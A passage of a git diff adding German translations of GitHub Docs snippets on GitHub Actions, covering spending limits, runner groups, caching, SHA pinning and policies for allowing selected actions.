+++ b/translations/de-DE/data/reusables/actions/actions-not-verified.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 355d2257808b3b72570cda4aee3ec69959fd6df3
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879187"
+---
+Du kannst deine Aktion in {% data variables.product.prodname_marketplace %} veröffentlichen. {% data variables.product.prodname_dotcom %} überprüft einige Partnerorganisationen und diese werden als überprüfte Ersteller angezeigt.  
diff --git a/translations/de-DE/data/reusables/actions/actions-on-examples.md b/translations/de-DE/data/reusables/actions/actions-on-examples.md
new file mode 100644
index 0000000000..63bbf190bd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-on-examples.md
@@ -0,0 +1,27 @@
+---
+ms.openlocfilehash: 48c28509a3d2ed248cec80b27621fd99bb7141b1
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876954"
+---
+### Verwenden eines einzelnen Ereignisses
+
+{% data reusables.actions.on-single-example %}
+
+### Verwenden mehrerer Ereignisse
+
+{% data reusables.actions.on-multiple-example %}
+
+### Verwenden von Aktivitätstypen
+
+{% data reusables.actions.actions-activity-types %}
+
+### Verwenden von Filtern
+
+{% data reusables.actions.actions-filters %}
+
+### Verwenden von Aktivitätstypen und Filtern mit mehreren Ereignissen
+
+{% data reusables.actions.actions-multiple-types %}
diff --git a/translations/de-DE/data/reusables/actions/actions-packages-set-spending-limit.md b/translations/de-DE/data/reusables/actions/actions-packages-set-spending-limit.md
new file mode 100644
index 0000000000..db0d5515b5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-packages-set-spending-limit.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f911d76b4780d748f11fe29db53bc199fe567cb2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103955"
+---
+Du kannst ein höheres Ausgabenlimit festlegen oder für einige Konten unbegrenzte Ausgaben zulassen. Das Ausgabenlimit gilt für deine kombinierten Überschreitungen für {% data variables.product.prodname_registry %} und {% data variables.product.prodname_actions %}.
diff --git a/translations/de-DE/data/reusables/actions/actions-spending-limit-brief.md b/translations/de-DE/data/reusables/actions/actions-spending-limit-brief.md
new file mode 100644
index 0000000000..ee71086d17
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-spending-limit-brief.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9ae870fb9e12c6f3240cc470e7fd5e87adcdb34e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103952"
+---
+Wenn Ihre Abrechnung monatlich erfolgt, gilt für Ihr Konto ein Standardausgabenlimit von 0 USD, das eine zusätzliche Nutzung von Minuten oder Speicher für private Repositorys über die in Ihrem Konto enthaltenen Beträge hinaus verhindert. Wenn die Abrechnung für Ihr Konto auf Rechnung erfolgt, gilt für Ihr Konto ein unbegrenztes Standardausgabenlimit.
diff --git a/translations/de-DE/data/reusables/actions/actions-spending-limit-detailed.md b/translations/de-DE/data/reusables/actions/actions-spending-limit-detailed.md
new file mode 100644
index 0000000000..4128bf7923
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-spending-limit-detailed.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 6079f5d142ad80174508e62837a379b841928678
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103947"
+---
+{% data reusables.actions.actions-spending-limit-brief %}
+
+Wenn du über ein unbegrenztes Ausgabenlimit oder ein Ausgabenlimit von über 0 USD verfügst, werden dir zusätzliche Minuten und Speicherkapazitäten, die über die enthaltenen Beträge hinausgehen (so genannte Überschreitungen), in Rechnung gestellt. {% data variables.product.prodname_dotcom %} rechnet die Nutzung mit dem Besitzerkonto des Repositorys ab, in dem ein Workflow ausgeführt wird. Gutscheine für Dein Konto gelten nicht für {% data variables.product.prodname_actions %}-Überschreitungen.
+
+{% data reusables.billing.overages-billed-monthly %}
diff --git a/translations/de-DE/data/reusables/actions/actions-unused-labels.md b/translations/de-DE/data/reusables/actions/actions-unused-labels.md
new file mode 100644
index 0000000000..e091b7a4cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-unused-labels.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c40864cd5639004fe565261c037a03b60652c7c9
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882843"
+---
+ Alle unbenutzten Kennzeichnungen, die keinem Läufer zugewiesen sind, werden innerhalb von 24 Stunden automatisch gelöscht.
diff --git a/translations/de-DE/data/reusables/actions/actions-use-policy-settings.md b/translations/de-DE/data/reusables/actions/actions-use-policy-settings.md
new file mode 100644
index 0000000000..dc3e617f23
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-use-policy-settings.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: d12805516bcd1d9b079acc9d1260d887bac27eed
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146179719"
+---
+Wenn du {% data reusables.actions.policy-label-for-select-actions-workflows %} auswählst, werden Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} innerhalb {% ifversion ghec or ghes or ghae %}deines Unternehmens{% else %}deiner Organisation{% endif %} zugelassen, und es stehen zusätzliche Optionen zur Verfügung, um andere spezifische Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} zuzulassen. Weitere Informationen findest du unter [Zulassen der Ausführung ausgewählter Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbarer Workflows{% endif %}](#allowing-select-actions{% ifversion actions-workflow-policy %}-and-reusable-workflows{% endif %}-to-run).
+
+{% ifversion ghec or fpt %}Wenn du Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows nur in{% else %} lokal in{% endif %} {% ifversion ghec or ghes or ghae %}deinem Unternehmen{% else %}deiner Organisation{% endif %} zulässt, blockiert die Richtlinie jeglichen Zugriff auf Aktionen, die von {% data variables.product.prodname_dotcom %} erstellt wurden. Auf die Aktion [`actions/checkout`](https://github.com/actions/checkout) könnte also beispielsweise nicht zugegriffen werden.{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/actions-use-sha-pinning-comment.md b/translations/de-DE/data/reusables/actions/actions-use-sha-pinning-comment.md
new file mode 100644
index 0000000000..fe6e3632c0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/actions-use-sha-pinning-comment.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 70d819d0afd8c82d59ef2ab00789330112442b02
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147409818"
+---
+# GitHub empfiehlt, Aktionen an einen Commit-SHA anzuheften.
+# Um eine neuere Version zu erhalten, musst du den SHA aktualisieren.
+# Du kannst auch auf ein Tag oder einen Branch verweisen, aber die Aktion kann sich ohne Vorwarnung ändern.
diff --git a/translations/de-DE/data/reusables/actions/add-hosted-runner-overview.md b/translations/de-DE/data/reusables/actions/add-hosted-runner-overview.md
new file mode 100644
index 0000000000..b9f780c2d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/add-hosted-runner-overview.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 955bbcc4f03b8a3a810f282c74230f220908f6b8
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108471"
+---
+Du kannst ein Betriebssystem und eine Hardwarekonfiguration aus der Liste der verfügbaren Optionen auswählen. Wenn neue Instanzen dieses Runners über die automatische Skalierung bereitgestellt werden, verwenden sie dasselbe Betriebssystem und dieselbe Hardwarekonfiguration, die du hier festgelegt hast.
+
+Du kannst außerdem die Bezeichnungen festlegen, die den Runner identifizieren. So können deine Workflows (mit `runs-on`) Aufträge zur Verarbeitung an die Runner übermitteln. Neue Runner werden automatisch der Standardgruppe zugewiesen. Alternativ kannst du beim Erstellen der Runner auswählen, welcher Gruppe die Runner beitreten sollen. Außerdem kannst du die Gruppenmitgliedschaft der Runner ändern, nachdem du die Runner registriert hast. Weitere Informationen findest du unter [Steuern des Zugriffs auf {% data variables.actions.hosted_runner %}](/actions/using-github-hosted-runners/controlling-access-to-larger-runners).
diff --git a/translations/de-DE/data/reusables/actions/add-hosted-runner.md b/translations/de-DE/data/reusables/actions/add-hosted-runner.md
new file mode 100644
index 0000000000..1385fa432c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/add-hosted-runner.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: cdf55c11d2d54b94788e317961466999079debbb
+ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/26/2022
+ms.locfileid: "148111296"
+---
+1. Klicke auf **Neuer Runner** und dann auf **{% octicon "mark-github" aria-label="New hosted runner" %} Neuer von {% data variables.product.prodname_dotcom %} gehosteter Runner**.
+1. Fülle die erforderlichen Angaben aus, um deinen neuen Runner zu konfigurieren:
+
+    - **Name**: Gib einen Namen für deinen neuen Runner ein. Zur leichteren Identifizierung sollten hier die Hardware und die Betriebskonfiguration angegeben werden, z. B. `ubuntu-20.04-16core`.
+    - **Runnerimage**: Wähle ein Betriebssystem aus den verfügbaren Optionen. Sobald du ein Betriebssystem ausgewählt hast, kannst du eine spezifische Version auswählen.
+    - **Runnergröße**: Wähle in der Dropdownliste der verfügbaren Optionen eine Hardwarekonfiguration aus.
+    - **Automatische Skalierung**: Wähle die maximale Anzahl von Runnern aus, die zu jedem Zeitpunkt aktiv sein können.
+    - **Runnergruppe**: Wähle die Gruppe aus, der dein Runner angehören soll. Diese Gruppe hostet mehrere Instanzen deines Runners, die je nach Bedarf hoch- und herunterskaliert werden können.
+    - **Netzwerk**: Nur für {% data variables.product.prodname_ghe_cloud %}: Wähle aus, ob den Instanzen des {% data variables.actions.hosted_runner %} ein statischer IP-Adressbereich zugewiesen werden soll. Du kannst insgesamt bis zu 10 statische IP-Adressen verwenden.
+
+1. Klicke auf **Runner erstellen**.
diff --git a/translations/de-DE/data/reusables/actions/allow-specific-actions-intro.md b/translations/de-DE/data/reusables/actions/allow-specific-actions-intro.md
new file mode 100644
index 0000000000..bd411c795a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/allow-specific-actions-intro.md
@@ -0,0 +1,34 @@
+---
+ms.openlocfilehash: 1c0fc320bbd41add7105a53f1ed85a10c39fb021
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883497"
+---
+<a name="allowing-select-actions-to-run"></a>
+<a name="allowing-specific-actions-to-run"></a>
+### Zulassen ausgewählter Aktionen{% ifversion actions-workflow-policy %} und das Ausführen wiederverwendbarer Workflows{% endif %}
+
+Wenn du {% data reusables.actions.policy-label-for-select-actions-workflows %} auswählst, werden lokale Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} zugelassen, und du verfügst über zusätzliche Optionen, andere spezifische Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} zu erlauben:
+
+- **Zulassen von Aktionen, die durch {% data variables.product.prodname_dotcom %} erstellt wurden:** Du kannst alle durch {% data variables.product.prodname_dotcom %} erstellte Aktionen zum Verwenden durch Workflows erlauben. Aktionen, die durch {% data variables.product.prodname_dotcom %} erstellt wurden, befinden sich in den Organisationen `actions` und `github`. Weitere Informationen findest du in den Organisationen [`actions`](https://github.com/actions) und [`github`](https://github.com/github).
+- **Marketplace-Aktionen durch überprüfte Ersteller zulassen:** {% ifversion ghes or ghae %}Diese Option ist verfügbar, wenn du {% data variables.product.prodname_github_connect %} aktiviert und mit {% data variables.product.prodname_actions %} konfiguriert hast. Weitere Informationen findest du unter [Aktivieren des automatischen Zugriffs auf GitHub.com-Aktionen mit GitHub Connect](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect).{% endif %} Du kannst alle {% data variables.product.prodname_marketplace %}-Aktionen für das Verwenden durch Workflows zulassen, die von verifizierten Ersteller*innen erstellt wurden. Wenn GitHub die Ersteller*innen der Aktion als Partnerorganisation verifiziert hat, wird der Badge {% octicon "verified" aria-label="The verified badge" %} neben der Aktion auf dem {% data variables.product.prodname_marketplace %} angezeigt.
+- **Zulassen angegebener Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbarer Workflows{% endif %}:** Du kannst Workflows darauf beschränken, Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} in spezifischen Organisationen und Repositorys zu verwenden.
+
+  Um den Zugriff auf bestimmte Tags oder Commit-SHA-Werte einer Aktion{% ifversion actions-workflow-policy %} oder eines wiederverwendbaren Workflows{% endif %} einzuschränken, verwende dieselbe Syntax, die im Workflow genutzt wird, um die Aktion{% ifversion actions-workflow-policy %} oder den wiederverwendbaren Workflow{% endif %} auszuwählen.
+  
+  - Für eine Aktion ist die Syntax `<OWNER>/<REPO>@<TAG OR SHA>`. Verwende beispielsweise `actions/javascript-action@v1.0.1` zum Auswählen eines Tags oder `actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89` zum Auswählen eines SHA-Werts. Weitere Informationen findest du unter [Suchen und Anpassen von Aktionen](/actions/learn-github-actions/finding-and-customizing-actions#using-release-management-for-your-custom-actions).
+  {%- ifversion actions-workflow-policy %}
+  - Für einen wiederverwendbaren Workflow ist die Syntax `<OWNER>/<REPO>/<PATH>/<FILENAME>@<TAG OR SHA>`. Beispiel: `octo-org/another-repo/.github/workflows/workflow.yml@v1`. Weitere Informationen findest du unter [Wiederverwenden von Workflows](/actions/using-workflows/reusing-workflows#calling-a-reusable-workflow).
+  {%- endif %}
+
+  Du kannst das Platzhalterzeichen `*` verwenden, um Muster abzugleichen. Um beispielsweise alle Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbaren Workflows{% endif %} in Organisationen zu erlauben, die mit `space-org` beginnen, kannst du `space-org*/*` angeben. Um alle Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbaren Workflows{% endif %} in Repositorys zu erlauben, die mit „octocat“ beginnen, kannst du `*/octocat**@*` verwenden. Weitere Informationen zum Platzhalterzeichen `*` findest du unter [Workflowsyntax für GitHub Actions](/actions/reference/workflow-syntax-for-github-actions#filter-pattern-cheat-sheet).
+
+  {% ifversion fpt or ghec %} {% note %}
+
+  **Hinweis:** Die Option **Zulassen angegebener Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbarer Workflows{% endif %}** ist nur in öffentlichen Repositorys mit den Plänen {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, {% data variables.product.prodname_free_team %} für Organisationen oder dem Plan {% data variables.product.prodname_team %} verfügbar.
+
+  {% endnote %} {% endif %}
+
+In dieser Prozedur wird gezeigt, wie du der Zulassungsliste bestimmte Aktionen{% ifversion actions-workflow-policy %} und wiederverwendbare Workflows{% endif %} hinzufügst.
diff --git a/translations/de-DE/data/reusables/actions/artifact-log-retention-statement.md b/translations/de-DE/data/reusables/actions/artifact-log-retention-statement.md
new file mode 100644
index 0000000000..fe7e1b1079
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/artifact-log-retention-statement.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b288e14d75de9ac30b9c31dcc27a72cd3d2a68d5
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103928"
+---
+Standardmäßig speichert {% data variables.product.product_name %} Buildprotokolle und Artefakte 90 Tage lang. Dieser Aufbewahrungszeitraum kann angepasst werden.{% ifversion fpt or ghec or ghes %} Weitere Informationen findest du unter [Nutzungsbeschränkungen, Abrechnung und Verwaltung](/actions/reference/usage-limits-billing-and-administration#artifact-and-log-retention-policy).{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/automatically-adding-a-runner-to-a-group.md b/translations/de-DE/data/reusables/actions/automatically-adding-a-runner-to-a-group.md
new file mode 100644
index 0000000000..dbafe1ec16
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/automatically-adding-a-runner-to-a-group.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 4e8c79051e378c800568f0fcf36c783a1bdd8811
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148108467"
+---
+Mithilfe des Konfigurationsskripts kannst du einen neuen Runner automatisch einer Gruppe hinzufügen. Mit diesem Befehl wird z. B. ein neuer Runner registriert und mithilfe des Parameters `--runnergroup` einer Gruppe mit dem Namen `rg-runnergroup` hinzugefügt.
+
+```sh
+./config.sh --url $org_or_enterprise_url --token $token --runnergroup rg-runnergroup
+```
+
+Der Befehl kann nicht ausgeführt werden, wenn die Runnergruppe nicht vorhanden ist:
+
+```
+Could not find any self-hosted runner group named "rg-runnergroup".
+```
diff --git a/translations/de-DE/data/reusables/actions/autoscaling-parameters.md b/translations/de-DE/data/reusables/actions/autoscaling-parameters.md
new file mode 100644
index 0000000000..3e750a5e97
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/autoscaling-parameters.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 71cb14fae7b9c17d2df6e692bd46422254ac032f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147886614"
+---
+- Optional können für jeden Pool Parameter zur automatischen Skalierung verwendet werden.
+  - Mindestanzahl von Leerlaufrunnern für den Pool
+  - Timeout für Aktivität: Die Anzahl von Minuten, die ein Runner im Pool aktiv bleiben soll, bevor der Pool auf die Leerlaufanzahl reduziert wird.
diff --git a/translations/de-DE/data/reusables/actions/branch-paths-filter.md b/translations/de-DE/data/reusables/actions/branch-paths-filter.md
new file mode 100644
index 0000000000..cea71ac1d7
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/branch-paths-filter.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7d786f0ca85bd35a5ce6d07c9ca782332afe8d78
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879171"
+---
+Wenn du sowohl den `branches`-Filter als auch den `paths`-Filter verwendest, wird der Workflow nur dann ausgeführt, wenn beide Filter erfüllt sind.
diff --git a/translations/de-DE/data/reusables/actions/branch-requirement.md b/translations/de-DE/data/reusables/actions/branch-requirement.md
new file mode 100644
index 0000000000..8991e4dce9
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/branch-requirement.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: cb862099988b92ed8f32f07f0c3d9934560f0bea
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103916"
+---
+{% note %}
+
+**Hinweis:** Dieses Ereignis löst nur dann eine Workflowausführung aus, wenn sich die Workflowdatei im Standardbranch befindet.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/cache-default-size.md b/translations/de-DE/data/reusables/actions/cache-default-size.md
new file mode 100644
index 0000000000..c79aef489f
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/cache-default-size.md
@@ -0,0 +1 @@
+By default, the total cache storage that {% data variables.product.prodname_actions %} uses on the external storage for {% data variables.location.product_location %} is limited to a maximum of 10 GB per repository, and the maximum allowed size that can be set for a repository is 25 GB.
diff --git a/translations/de-DE/data/reusables/actions/cache-eviction-process.md b/translations/de-DE/data/reusables/actions/cache-eviction-process.md
new file mode 100644
index 0000000000..fa78d5d28c
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/cache-eviction-process.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3d44e7e1f7b304a2378dc1863c6dba4a86ff9cab
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147067402"
+---
+Wenn du diesen Grenzwert überschreitest, wird {% data variables.product.prodname_dotcom %} den neuen Cache speichern, jedoch auch damit beginnen, Caches zu löschen, bis die Gesamtgröße kleiner als das Limit des Repositorys ist.
diff --git a/translations/de-DE/data/reusables/actions/cache-no-org-policy.md b/translations/de-DE/data/reusables/actions/cache-no-org-policy.md
new file mode 100644
index 0000000000..7c3b7609ff
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/cache-no-org-policy.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 57be65440c7e2dd33460be3c67a4dfdd27ead640
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103907"
+---
+{% note %}
+
+**Hinweis:** Im Gegensatz zu anderen Richtlinieneinstellungen für {% data variables.product.prodname_actions %} gibt es für das Festlegen der Cachegröße von {% data variables.product.prodname_actions %} keine Richtlinie auf Organisationsebene. Die Unternehmensrichtlinie wird direkt auf Repositorys angewendet.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/actions/caching-availability.md b/translations/de-DE/data/reusables/actions/caching-availability.md
new file mode 100644
index 0000000000..64093eeb9a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/caching-availability.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c69016073f47456f4edadc5c7c3364921b871fe2
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147064842"
+---
+Die Zwischenspeicherung mit {% data variables.product.prodname_actions %} ist nur für Repositorys verfügbar, die in {% data variables.product.prodname_dotcom_the_website %} oder {% data variables.product.prodname_ghe_server %} 3.5 und höher gehostet werden. Weitere Informationen findest du unter [Zwischenspeichern von Abhängigkeiten zum Beschleunigen von Workflows]({% ifversion actions-caching %}{% else %}/free-pro-team@latest{% endif %}/actions/guides/caching-dependencies-to-speed-up-workflows).
diff --git a/translations/de-DE/data/reusables/actions/cd-templates-actions.md b/translations/de-DE/data/reusables/actions/cd-templates-actions.md
new file mode 100644
index 0000000000..04f7985bf2
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/cd-templates-actions.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: d6caf6cffe5c0bb902cdc27c5c74296d02ea249c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103903"
+---
+{% data variables.product.product_name %} bietet Bereitstellungsstart-Workflows für mehrere beliebte Dienste so wie Azure Web App. Informationen zum Einstieg in einen Start-Workflow findest du unter „[Verwenden von Starter-Workflows](/actions/learn-github-actions/using-starter-workflows)" oder [durchsuche die vollständige Liste der Start-Workflows für Bereitstellungen](https://github.com/actions/starter-workflows/tree/main/deployments). Du kannst auch unsere detaillierten Leitfäden für bestimmte Bereitstellungs-Workflows wie „[Bereitstellen auf Azure App Service](/actions/deployment/deploying-to-azure-app-service)" ansehen.
+
+Viele Dienstanbieter bieten auch Aktionen für {% data variables.product.prodname_marketplace %}, um ihren Dienst bereitzustellen. Die vollständige Liste findest du unter [{% data variables.product.prodname_marketplace %}](https://github.com/marketplace?category=deployment&type=actions).
diff --git a/translations/de-DE/data/reusables/actions/change-cache-size-limit.md b/translations/de-DE/data/reusables/actions/change-cache-size-limit.md
new file mode 100644
index 0000000000..407b17bd41
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/change-cache-size-limit.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: bab76bbf8a22879b552e1657e77f09c77e8dd279
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106821"
+---
+1. Gib unter **Größenlimit für Cache** einen neuen Wert ein.
+1. Klicke auf **Speichern**, um die Änderungen zu übernehmen.
diff --git a/translations/de-DE/data/reusables/actions/change-retention-period-for-artifacts-logs.md b/translations/de-DE/data/reusables/actions/change-retention-period-for-artifacts-logs.md
new file mode 100644
index 0000000000..1be2175f1a
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/change-retention-period-for-artifacts-logs.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7d3e5a931a9055496b6bdb4c7921eeb5c45409a8
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881139"
+---
+1. Gib unter **Artefakt und Protokollaufbewahrung** einen neuen Wert ein.
+1. Klicke auf **Speichern**, um die Änderungen zu übernehmen.
diff --git a/translations/de-DE/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md b/translations/de-DE/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md
new file mode 100644
index 0000000000..6fe8813540
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md
@@ -0,0 +1,38 @@
+{% comment %} 
+
+Always include a security admonition above this procedure. This is either one of the following, depending on whether the context is self-hosted runners or larger runners.
+
+{% data reusables.actions.self-hosted-runner-security-admonition %}
+{% data reusables.actions.hosted-runner-security-admonition %}
+ 
+{% endcomment %}
+
+For runner groups in an enterprise, you can change what organizations in the enterprise can access a runner group{% ifversion restrict-groups-to-workflows %} or restrict what workflows a runner group can run{% endif %}. For runner groups in an organization, you can change what repositories in the organization can access a runner group{% ifversion restrict-groups-to-workflows %} or restrict what workflows a runner group can run{% endif %}.
+
+### Changing what organizations or repositories can access a runner group
+
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %}
+1. For runner groups in an enterprise, under **Organization access**, modify what organizations can access the runner group. For runner groups in an organization, under **Repository access**, modify what repositories can access the runner group.
+
+{% elsif ghae < 3.4 or ghes < 3.4 %}
+{% data reusables.actions.configure-runner-group-access %}
+{% endif %}
+
+{% ifversion restrict-groups-to-workflows %}
+### Changing what workflows can access a runner group
+You can configure a runner group to run either selected workflows or all workflows. For example, you might use this setting to protect secrets that are stored on runners or to standardize deployment workflows by restricting a runner group to run only a specific reusable workflow. This setting cannot be overridden if you are configuring an organization's runner group that was shared by an enterprise. 
+{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %}
+1. Under **Workflow access**, select the dropdown menu and click **Selected workflows**.
+1. Click {% octicon "gear" aria-label="the gear icon" %}.
+1. Enter a comma separated list of the workflows that can access the runner group. Use the full path, including the repository name and owner. Pin the workflow to a branch, tag, or full SHA. For example: `octo-org/octo-repo/.github/workflows/build.yml@v2, octo-org/octo-repo/.github/workflows/deploy.yml@d6dc6c96df4f32fa27b039f2084f576ed2c5c2a5, monalisa/octo-test/.github/workflows/test.yml@main`.
+
+   Only jobs directly defined within the selected workflows will have access to the runner group.
+   
+   Organization-owned runner groups cannot access workflows from a different organization in the enterprise; instead, you must create an enterprise-owned runner group.
+
+1. Click **Save**.
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/actions/changing-the-name-of-a-runner-group.md b/translations/de-DE/data/reusables/actions/changing-the-name-of-a-runner-group.md
new file mode 100644
index 0000000000..3a5df8fce0
--- /dev/null
+++ b/translations/de-DE/data/reusables/actions/changing-the-name-of-a-runner-group.md
@@ -0,0 +1,9 @@
+{% ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+{% data reusables.actions.runner-groups-navigate-to-repo-org-enterprise %}
+{% data reusables.actions.settings-sidebar-actions-runner-groups-selection %}
+1. Change the runner group name.
+
+{% elsif ghae < 3.4 or ghes < 3.4 %}
+{% data reusables.actions.configure-runner-group %}
+1. Change the runner group name.
+{% endif %}
